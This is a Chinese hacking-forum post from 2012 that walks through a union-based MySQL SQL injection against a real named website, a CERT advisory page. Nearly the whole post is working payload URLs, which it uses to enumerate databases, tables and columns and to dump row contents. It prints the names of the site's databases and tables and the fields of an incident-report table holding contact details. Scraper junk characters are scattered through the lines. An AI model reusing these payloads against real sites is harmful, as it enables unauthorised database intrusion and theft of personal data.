中国网络渗透测试联盟

标题: .高级暴库方法讲解 [打印本页]

作者: admin    时间: 2012-9-13 17:57
标题: .高级暴库方法讲解
1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询
7 z- A, @" E/ W( F1 l2 X2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
2 }2 O$ n" g6 nhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--+ S$ j/ @2 @$ C0 W' L' m7 |
3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--4 {  v( t: h. s4 ]0 u/ c# A
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。4 g2 A" |" c8 \
4.判断有没有写权限1 }% L6 v2 K1 E6 c4 A- c/ M
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限% |. z+ |3 V* }, D/ N
没办法,手动猜表啦
/ d) C7 ~2 \1 E4 X- I  C' ]5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1$ \4 G" K& |- r6 {
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下  b7 S" H0 m# R. e. G6 r  Y% v( `0 M
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
6 F! B9 @" w7 A成功查出所有数据库,国外的黑客就是不一般。数据库如下:
8 O8 ~7 x2 F; a% w. S; Yinformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
: S" g( g& P5 m+ i2 B6.爆表,爆的是twcert库
0 w, u! L$ D2 B3 J  \" {http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
7 Q2 T6 P9 L* L7 P# d/ x爆出如下表0 l  I& G( l0 G
downloadfile,irsys,newsdata,secrpt,secrpt_big5: W! d0 x! J* H" s& ~+ I, ?3 K1 ~
7.爆列名,这次爆的是irsys表8 e: u8 E# ?; l1 k% j" V& @
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--+ t* \# g" q$ Q$ T; Y8 g7 c, I7 ~
爆出如下列7 y6 {% u5 t0 Z1 A
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
8 X8 R& m- u! R' S6 E. b8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
% l8 v7 ?# r# M' ^3 v9 q& thttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--! J+ U4 W) p3 S$ k4 j
返回是3,说明每个列里有3个地段) S. A) l: U( y. j) ~
9.爆字段内容
0 T, e4 R1 Y/ j8 o% B2 Z8 z. rhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
% c! k: V# Y0 `' O6 i+ {爆出name列的第一个字段的内容& C% c7 l3 d2 f' U+ a
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--& M/ Q8 \& r2 h- O3 @! g
爆出name列的第二个字段的内容




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2